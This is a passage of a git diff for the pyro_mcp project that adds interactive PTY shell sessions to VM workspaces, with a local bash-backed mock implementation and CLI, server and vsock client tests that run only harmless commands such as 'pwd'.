workdir=self._workspace_runtime_dir(workspace.workspace_id) ) + self._close_workspace_shells_locked(workspace, instance) if workspace.state == "started": self._backend.stop(instance) workspace.state = "stopped" @@ -1423,6 +1961,20 @@ class VmManager: "metadata": workspace.metadata, } + def _serialize_workspace_shell(self, shell: WorkspaceShellRecord) -> dict[str, Any]: + return { + "workspace_id": shell.workspace_id, + "shell_id": shell.shell_id, + "cwd": shell.cwd, + "cols": shell.cols, + "rows": shell.rows, + "state": shell.state, + "started_at": shell.started_at, + "ended_at": shell.ended_at, + "exit_code": shell.exit_code, + "execution_mode": shell.execution_mode, + } + def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: return @@ -1445,6 +1997,19 @@ class VmManager: "host execution." ) + def _require_workspace_shell_support(self, instance: VmInstance) -> None: + if self._backend_name == "mock": + return + if self._runtime_capabilities.supports_guest_exec: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest interactive shell sessions" + ) + raise RuntimeError( + "interactive shells require guest execution and are unavailable for this " + f"workspace: {reason}" + ) + def _get_instance_locked(self, vm_id: str) -> VmInstance: try: return self._instances[vm_id] @@ -1552,14 +2117,14 @@ class VmManager: bytes_written=bytes_written, ) - def _ensure_workspace_guest_seed_support(self, instance: VmInstance) -> None: + def _ensure_workspace_guest_agent_support(self, instance: VmInstance) -> None: if self._runtime_paths is None or self._runtime_paths.guest_agent_path is None: raise RuntimeError( - "runtime bundle does not provide a guest agent for workspace seeding" + "runtime bundle does not provide a guest agent for workspace operations" ) rootfs_image = instance.metadata.get("rootfs_image") if rootfs_image is None or rootfs_image == "": - raise RuntimeError("workspace rootfs image is unavailable for guest seeding") + raise RuntimeError("workspace rootfs image is unavailable for guest operations") _patch_rootfs_guest_agent(Path(rootfs_image), self._runtime_paths.guest_agent_path) def _workspace_dir(self, workspace_id: str) -> Path: @@ -1574,9 +2139,15 @@ class VmManager: def _workspace_commands_dir(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / WORKSPACE_COMMANDS_DIRNAME + def _workspace_shells_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SHELLS_DIRNAME + def _workspace_metadata_path(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / "workspace.json" + def _workspace_shell_record_path(self, workspace_id: str, shell_id: str) -> Path: + return self._workspace_shells_dir(workspace_id) / f"{shell_id}.json" + def _count_workspaces_locked(self) -> int: return sum(1 for _ in self._workspaces_dir.glob("*/workspace.json")) @@ -1609,6 +2180,7 @@ class VmManager: instance = workspace.to_instance( workdir=self._workspace_runtime_dir(workspace.workspace_id) ) + self._close_workspace_shells_locked(workspace, instance) if workspace.state == "started": self._backend.stop(instance) workspace.state = "stopped" @@ -1704,3 +2276,97 @@ class VmManager: entry["stderr"] = stderr entries.append(entry) return entries + + def _workspace_instance_for_live_shell_locked(self, workspace: WorkspaceRecord) -> VmInstance: + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "started": + raise RuntimeError( + "workspace " + f"{workspace.workspace_id} must be in 'started' state before shell operations" + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._require_workspace_shell_support(instance) + return instance + + def _workspace_shell_record_from_payload( + self, + *, + workspace_id: str, + shell_id: str, + payload: dict[str, Any], + metadata: dict[str, str] | None = None, + ) -> WorkspaceShellRecord: + return WorkspaceShellRecord( + workspace_id=workspace_id, + shell_id=str(payload.get("shell_id", shell_id)), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + cols=int(payload.get("cols", DEFAULT_SHELL_COLS)), + rows=int(payload.get("rows", DEFAULT_SHELL_ROWS)), + state=cast(WorkspaceShellState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", time.time())), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + execution_mode=str(payload.get("execution_mode", "pending")), + metadata=dict(metadata or {}), + ) + + def _load_workspace_shell_locked( + self, + workspace_id: str, + shell_id: str, + ) -> WorkspaceShellRecord: + record_path = self._workspace_shell_record_path(workspace_id, shell_id) + if not record_path.exists(): + raise ValueError(f"shell {shell_id!r} does not exist in workspace {workspace_id!r}") + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"shell record at {record_path} is invalid") + return WorkspaceShellRecord.from_payload(payload) + + def _save_workspace_shell_locked(self, shell: WorkspaceShellRecord) -> None: + record_path = self._workspace_shell_record_path(shell.workspace_id, shell.shell_id) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(shell.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _delete_workspace_shell_locked(self, workspace_id: str, shell_id: str) -> None: + record_path = self._workspace_shell_record_path(workspace_id, shell_id) + if record_path.exists(): + record_path.unlink() + + def _list_workspace_shells_locked(self, workspace_id: str) -> list[WorkspaceShellRecord]: + shells_dir = self._workspace_shells_dir(workspace_id) + if not shells_dir.exists(): + return [] + shells: list[WorkspaceShellRecord] = [] + for record_path in sorted(shells_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + shells.append(WorkspaceShellRecord.from_payload(payload)) + return shells + + def _close_workspace_shells_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + for shell in self._list_workspace_shells_locked(workspace.workspace_id): + try: + self._backend.close_shell( + instance, + workspace_id=workspace.workspace_id, + shell_id=shell.shell_id, + ) + except Exception: + pass + self._delete_workspace_shell_locked(workspace.workspace_id, shell.shell_id) diff --git a/src/pyro_mcp/workspace_shells.py b/src/pyro_mcp/workspace_shells.py new file mode 100644 index 0000000..0a30d06 --- /dev/null +++ b/src/pyro_mcp/workspace_shells.py @@ -0,0 +1,291 @@ +"""Local PTY-backed shell sessions for the mock workspace backend.""" + +from __future__ import annotations + +import codecs +import fcntl +import os +import pty +import shlex +import signal +import struct +import subprocess +import termios +import threading +import time +from pathlib import Path +from typing import Literal + +ShellState = Literal["running", "stopped"] + +SHELL_SIGNAL_NAMES = ("HUP", "INT", "TERM", "KILL") +_SHELL_SIGNAL_MAP = { + "HUP": signal.SIGHUP, + "INT": signal.SIGINT, + "TERM": signal.SIGTERM, + "KILL": signal.SIGKILL, +} + +_LOCAL_SHELLS: dict[str, "LocalShellSession"] = {} +_LOCAL_SHELLS_LOCK = threading.Lock() + + +def _set_pty_size(fd: int, rows: int, cols: int) -> None: + winsize = struct.pack("HHHH", rows, cols, 0, 0) + fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) + + +class LocalShellSession: + """Host-local interactive shell used by the mock backend.""" + + def __init__( + self, + *, + shell_id: str, + cwd: Path, + display_cwd: str, + cols: int, + rows: int, + ) -> None: + self.shell_id = shell_id + self.cwd = display_cwd + self.cols = cols + self.rows = rows + self.started_at = time.time() + self.ended_at: float | None = None + self.exit_code: int | None = None + self.state: ShellState = "running" + self.pid: int | None = None + self._lock = threading.RLock() + self._output = "" + self._master_fd: int | None = None + self._reader: threading.Thread | None = None + self._waiter: threading.Thread | None = None + self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + + master_fd, slave_fd = pty.openpty() + try: + _set_pty_size(slave_fd, rows, cols) + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) + process = subprocess.Popen( # noqa: S603 + ["/bin/bash", "--noprofile", "--norc", "-i"], + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + + self._process = process + self.pid = process.pid + self._master_fd = master_fd + self._reader = threading.Thread(target=self._reader_loop, daemon=True) + self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) + self._reader.start() + self._waiter.start() + + def summary(self) -> dict[str, object]: + with self._lock: + return { + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "pid": self.pid, + } + + def read(self, *, cursor: int, max_chars: int) -> dict[str, object]: + with self._lock: + clamped_cursor = min(max(cursor, 0), len(self._output)) + output = self._output[clamped_cursor : clamped_cursor + max_chars] + next_cursor = clamped_cursor + len(output) + payload = self.summary() + payload.update( + { + "cursor": clamped_cursor, + "next_cursor": next_cursor, + "output": output, + "truncated": next_cursor < len(self._output), + } + ) + return payload + + def write(self, text: str, *, append_newline: bool) -> dict[str, object]: + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + master_fd = self._master_fd + if master_fd is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + payload = text + ("\n" if append_newline else "") + try: + os.write(master_fd, payload.encode("utf-8")) + except OSError as exc: + self._refresh_process_state() + raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc + result = self.summary() + result.update({"input_length": len(text), "append_newline": append_newline}) + return result + + def send_signal(self, signal_name: str) -> dict[str, object]: + signal_name = signal_name.upper() + signum = _SHELL_SIGNAL_MAP.get(signal_name) + if signum is None: + raise ValueError(f"unsupported shell signal: {signal_name}") + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running" or self.pid is None: + raise RuntimeError(f"shell {self.shell_id} is not running") + pid = self.pid + try: + os.killpg(pid, signum) + except ProcessLookupError as exc: + self._refresh_process_state() + raise RuntimeError(f"shell {self.shell_id} is not running") from exc + result = self.summary() + result["signal"] = signal_name + return result + + def close(self) -> dict[str, object]: + if self._process.poll() is None and self.pid is not None: + try: + os.killpg(self.pid, signal.SIGHUP) + except ProcessLookupError: + pass + try: + self._process.wait(timeout=5) + except subprocess.TimeoutExpired: + try: + os.killpg(self.pid, signal.SIGKILL) + except ProcessLookupError: + pass + self._process.wait(timeout=5) + else: + self._refresh_process_state() + self._close_master_fd() + if self._reader is not None: + self._reader.join(timeout=1) + if self._waiter is not None: + self._waiter.join(timeout=1) + result = self.summary() + result["closed"] = True + return result + + def _reader_loop(self) -> None: + master_fd = self._master_fd + if master_fd is None: + return + while True: + try: + chunk = os.read(master_fd, 65536) + except OSError: + break + if chunk == b"": + break + decoded = self._decoder.decode(chunk) + if decoded: + with self._lock: + self._output += decoded + decoded = self._decoder.decode(b"", final=True) + if decoded: + with self._lock: + self._output += decoded + + def _waiter_loop(self) -> None: + exit_code = self._process.wait() + with self._lock: + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + + def _refresh_process_state(self) -> None: + exit_code = self._process.poll() + if exit_code is None: + return + with self._lock: + if self.state == "running": + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + + def _close_master_fd(self) -> None: + with self._lock: + master_fd = self._master_fd + self._master_fd = None + if master_fd is None: + return + try: + os.close(master_fd) + except OSError: + pass + + +def create_local_shell( + *, + workspace_id: str, + shell_id: str, + cwd: Path, + display_cwd: str, + cols: int, + rows: int, +) -> LocalShellSession: + session_key = f"{workspace_id}:{shell_id}" + with _LOCAL_SHELLS_LOCK: + if session_key in _LOCAL_SHELLS: + raise RuntimeError(f"shell {shell_id} already exists in workspace {workspace_id}") + session = LocalShellSession( + shell_id=shell_id, + cwd=cwd, + display_cwd=display_cwd, + cols=cols, + rows=rows, + ) + _LOCAL_SHELLS[session_key] = session + return session + + +def get_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession: + session_key = f"{workspace_id}:{shell_id}" + with _LOCAL_SHELLS_LOCK: + try: + return _LOCAL_SHELLS[session_key] + except KeyError as exc: + raise ValueError( + f"shell {shell_id!r} does not exist in workspace {workspace_id!r}" + ) from exc + + +def remove_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession | None: + session_key = f"{workspace_id}:{shell_id}" + with _LOCAL_SHELLS_LOCK: + return _LOCAL_SHELLS.pop(session_key, None) + + +def shell_signal_names() -> tuple[str, ...]: + return SHELL_SIGNAL_NAMES + + +def shell_signal_arg_help() -> str: + return ", ".join(shlex.quote(name) for name in SHELL_SIGNAL_NAMES) diff --git a/tests/test_api.py b/tests/test_api.py index 836f64c..cba5d1f 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import time from pathlib import Path from typing import Any, cast @@ -50,6 +51,11 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "vm_create" in tool_names assert "workspace_create" in tool_names assert "workspace_sync_push" in tool_names + assert "shell_open" in tool_names + assert "shell_read" in tool_names + assert "shell_write" in tool_names + assert "shell_signal" in tool_names + assert "shell_close" in tool_names def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -130,6 +136,16 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") executed = pyro.exec_workspace(workspace_id, command="cat note.txt") + opened = pyro.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + written = pyro.write_shell(workspace_id, shell_id, input="pwd") + read = pyro.read_shell(workspace_id, shell_id) + deadline = time.time() + 5 + while "/workspace" not in str(read["output"]) and time.time() < deadline: + read = pyro.read_shell(workspace_id, shell_id, cursor=0) + time.sleep(0.05) + signaled = pyro.signal_shell(workspace_id, shell_id) + closed = pyro.close_shell(workspace_id, shell_id) status = pyro.status_workspace(workspace_id) logs = pyro.logs_workspace(workspace_id) deleted = pyro.delete_workspace(workspace_id) @@ -137,6 +153,10 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert executed["stdout"] == "ok\n" assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" + assert written["input_length"] == 3 + assert "/workspace" in read["output"] + assert signaled["signal"] == "INT" + assert closed["closed"] is True assert status["command_count"] == 1 assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index b3914a6..da03832 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -64,6 +64,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help assert "pyro workspace exec WORKSPACE_ID" in workspace_help + assert "pyro workspace shell open WORKSPACE_ID" in workspace_help workspace_create_help = _subparser_choice( _subparser_choice(parser, "workspace"), @@ -92,6 +93,41 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--dest" in workspace_sync_push_help assert "Import host content into `/workspace`" in workspace_sync_push_help + workspace_shell_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "shell", + ).format_help() + assert "pyro workspace shell open WORKSPACE_ID" in workspace_shell_help + assert "Use `workspace exec` for one-shot commands." in workspace_shell_help + + workspace_shell_open_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" + ).format_help() + assert "--cwd" in workspace_shell_open_help + assert "--cols" in workspace_shell_open_help + assert "--rows" in workspace_shell_open_help + + workspace_shell_read_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" + ).format_help() + assert "Shell output is written to stdout." in workspace_shell_read_help + + workspace_shell_write_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" + ).format_help() + assert "--input" in workspace_shell_write_help + assert "--no-newline" in workspace_shell_write_help + + workspace_shell_signal_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "signal" + ).format_help() + assert "--signal" in workspace_shell_signal_help + + workspace_shell_close_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "close" + ).format_help() + assert "Close a persistent workspace shell" in workspace_shell_close_help + def test_cli_run_prints_json( monkeypatch: pytest.MonkeyPatch, @@ -681,6 +717,226 @@ def test_cli_workspace_status_and_delete_print_json( assert deleted["deleted"] is True +def test_cli_workspace_shell_open_and_read_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell( + self, + workspace_id: str, + *, + cwd: str, + cols: int, + rows: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert cwd == "/workspace" + assert cols == 120 + assert rows == 30 + return { + "workspace_id": workspace_id, + "shell_id": "shell-123", + "state": "running", + "cwd": cwd, + "cols": cols, + "rows": rows, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + } + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert shell_id == "shell-123" + assert cursor == 0 + assert max_chars == 1024 + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "cursor": 0, + "next_cursor": 14, + "output": "pyro$ pwd\n", + "truncated": False, + } + + class OpenParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="workspace-123", + cwd="/workspace", + cols=120, + rows=30, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: OpenParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="read", + workspace_id="workspace-123", + shell_id="shell-123", + cursor=0, + max_chars=1024, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + + captured = capsys.readouterr() + assert "pyro$ pwd\n" in captured.out + assert "[workspace-shell-open] workspace_id=workspace-123 shell_id=shell-123" in captured.err + assert "[workspace-shell-read] workspace_id=workspace-123 shell_id=shell-123" in captured.err + + +def test_cli_workspace_shell_write_signal_close_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input: str, + append_newline: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert shell_id == "shell-123" + assert input == "pwd" + assert append_newline is False + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "input_length": 3, + "append_newline": False, + } + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str, + ) -> dict[str, Any]: + assert signal_name == "INT" + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "signal": signal_name, + } + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "stopped", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": 2.0, + "exit_code": 0, + "execution_mode": "guest_vsock", + "closed": True, + } + + class WriteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="write", + workspace_id="workspace-123", + shell_id="shell-123", + input="pwd", + no_newline=True, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + written = json.loads(capsys.readouterr().out) + assert written["append_newline"] is False + + class SignalParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="signal", + workspace_id="workspace-123", + shell_id="shell-123", + signal="INT", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SignalParser()) + cli.main() + signaled = json.loads(capsys.readouterr().out) + assert signaled["signal"] == "INT" + + class CloseParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="close", + workspace_id="workspace-123", + shell_id="shell-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: CloseParser()) + cli.main() + closed = json.loads(capsys.readouterr().out) + assert closed["closed"] is True + + def test_cli_workspace_exec_json_error_exits_nonzero( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index eecb8ea..5db18e7 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -18,6 +18,12 @@ from pyro_mcp.contract import ( PUBLIC_CLI_ENV_SUBCOMMANDS, PUBLIC_CLI_RUN_FLAGS, PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS, PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, @@ -86,6 +92,37 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS: assert flag in workspace_sync_push_help_text + workspace_shell_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "shell", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS: + assert subcommand_name in workspace_shell_help_text + workspace_shell_open_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS: + assert flag in workspace_shell_open_help_text + workspace_shell_read_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS: + assert flag in workspace_shell_read_help_text + workspace_shell_write_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS: + assert flag in workspace_shell_write_help_text + workspace_shell_signal_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "signal" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS: + assert flag in workspace_shell_signal_help_text + workspace_shell_close_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "close" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS: + assert flag in workspace_shell_close_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: diff --git a/tests/test_server.py b/tests/test_server.py index ce34b4d..5525e8c 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import time from pathlib import Path from typing import Any, cast @@ -34,6 +35,11 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "workspace_create" in tool_names assert "workspace_logs" in tool_names assert "workspace_sync_push" in tool_names + assert "shell_open" in tool_names + assert "shell_read" in tool_names + assert "shell_write" in tool_names + assert "shell_signal" in tool_names + assert "shell_close" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -190,6 +196,11 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: dict[str, Any], dict[str, Any], dict[str, Any], + dict[str, Any], + dict[str, Any], + dict[str, Any], + dict[str, Any], + dict[str, Any], ]: server = create_server(manager=manager) created = _extract_structured( @@ -225,18 +236,88 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: }, ) ) + opened = _extract_structured( + await server.call_tool("shell_open", {"workspace_id": workspace_id}) + ) + shell_id = str(opened["shell_id"]) + written = _extract_structured( + await server.call_tool( + "shell_write", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "input": "pwd", + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "shell_read", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + }, + ) + ) + deadline = time.time() + 5 + while "/workspace" not in str(read["output"]) and time.time() < deadline: + read = _extract_structured( + await server.call_tool( + "shell_read", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "cursor": 0, + }, + ) + ) + await asyncio.sleep(0.05) + signaled = _extract_structured( + await server.call_tool( + "shell_signal", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + }, + ) + ) + closed = _extract_structured( + await server.call_tool( + "shell_close", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + }, + ) + ) logs = _extract_structured( await server.call_tool("workspace_logs", {"workspace_id": workspace_id}) ) deleted = _extract_structured( await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) ) - return created, synced, executed, logs, deleted + return created, synced, executed, opened, written, read, signaled, closed, logs, deleted - created, synced, executed, logs, deleted = asyncio.run(_run()) + ( + created, + synced, + executed, + opened, + written, + read, + signaled, + closed, + logs, + deleted, + ) = asyncio.run(_run()) assert created["state"] == "started" assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert executed["stdout"] == "more\n" + assert opened["state"] == "running" + assert written["input_length"] == 3 + assert "/workspace" in read["output"] + assert signaled["signal"] == "INT" + assert closed["closed"] is True assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index ee4773e..cc35209 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -105,6 +105,130 @@ def test_vsock_exec_client_upload_archive_round_trip( assert stub.closed is True +def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + responses = [ + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "cursor": 0, + "next_cursor": 12, + "output": "pyro$ pwd\n", + "truncated": False, + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "input_length": 3, + "append_newline": True, + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "signal": "INT", + } + ).encode("utf-8"), + json.dumps( + { + "shell_id": "shell-1", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "stopped", + "started_at": 1.0, + "ended_at": 2.0, + "exit_code": 0, + "closed": True, + } + ).encode("utf-8"), + ] + stubs = [StubSocket(response) for response in responses] + remaining = list(stubs) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return remaining.pop(0) + + client = VsockExecClient(socket_factory=socket_factory) + opened = client.open_shell( + 1234, + 5005, + shell_id="shell-1", + cwd="/workspace", + cols=120, + rows=30, + ) + assert opened.shell_id == "shell-1" + read = client.read_shell(1234, 5005, shell_id="shell-1", cursor=0, max_chars=1024) + assert read.output == "pyro$ pwd\n" + write = client.write_shell( + 1234, + 5005, + shell_id="shell-1", + input_text="pwd", + append_newline=True, + ) + assert write["input_length"] == 3 + signaled = client.signal_shell(1234, 5005, shell_id="shell-1", signal_name="INT") + assert signaled["signal"] == "INT" + closed = client.close_shell(1234, 5005, shell_id="shell-1") + assert closed["closed"] is True + open_request = json.loads(stubs[0].sent.decode("utf-8").strip()) + assert open_request["action"] == "open_shell" + assert open_request["shell_id"] == "shell-1" + + +def test_vsock_exec_client_raises_agent_error(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + stub = StubSocket(b'{"error":"shell is unavailable"}') + client = VsockExecClient(socket_factory=lambda family, sock_type: stub) + with pytest.raises(RuntimeError, match="shell is unavailable"): + client.open_shell( + 1234, + 5005, + shell_id="shell-1", + cwd="/workspace", + cols=120, + rows=30, + ) + + def test_vsock_exec_client_rejects_bad_json(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) stub = StubSocket(b"[]") diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 6bd059a..ca65ad2 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -454,6 +454,73 @@ def 